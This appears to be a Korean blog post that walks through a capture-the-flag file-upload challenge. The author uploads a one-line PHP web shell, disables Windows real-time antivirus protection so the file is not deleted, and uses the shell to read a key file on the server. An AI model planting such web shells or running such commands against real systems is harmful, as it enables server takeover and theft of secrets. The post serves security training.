발자취
#13 RAON CTF 문제 풀이-4 (File Upload) 본문
#01 File Upload
1. Level 1: 파일 업로드 서비스를 이용하여 Key.php 파일 안에 존재하는 패스워드를 확보하세요

문제 사이트를 열면 이런 화면을 볼 수 있다.
파일을 선택하여 업로드할 수 있다.
<?php
system($_GET['x']);
?>위와 같은 내용을 포함한 a.php 파일을 임의로 만들어줬다.
(윈도우 10 보안 시스템이 악성 파일로 인지하여 자꾸 삭제하기 때문에 [Windows 보안] - [바이러스 및 위협 방지 설정] - [실시간 보호 해제] 설정해줘야 한다!)

해당 파일을 선택하여 '파일 전송' 버튼을 누르면

위와 같은 창이 뜬다.
./uploads/a.php 경로에 업로드 된 것을 알 수 있다.
원래 URL 뒤에 /uploads/a.php?x=cat%20../Key.php을 입력해주면 (https://~~~.raonctf.com/uploads/a.php?x=cat%20../Key.php)

빈 사이트가 뜨고, 우클릭하여 '페이지 원본 보기'를 누르면

플래그 값을 확인할 수 있다.
'3-1 > 웹 어플리케이션 보안' 카테고리의 다른 글
| #12 RAON CTF 문제 풀이-3 (Command Injection 1,2 / SQL Injection 1,2,3) (0) | 2023.05.23 |
|---|---|
| #11 RAON CTF 문제 풀이-2 (XSS 1,2 / JavaScript 1,2,3) (0) | 2023.05.16 |
| #10 RAON CTF 문제 풀이-1 (Protocol Level 1,3 / Client Lever 1,2,3) (0) | 2023.05.09 |
| #09 크로스 사이트 스크립팅, 크로스 사이트 요청 변조 공격 (0) | 2023.05.07 |
| #08 클라이언트 통제 우회 (0) | 2023.05.07 |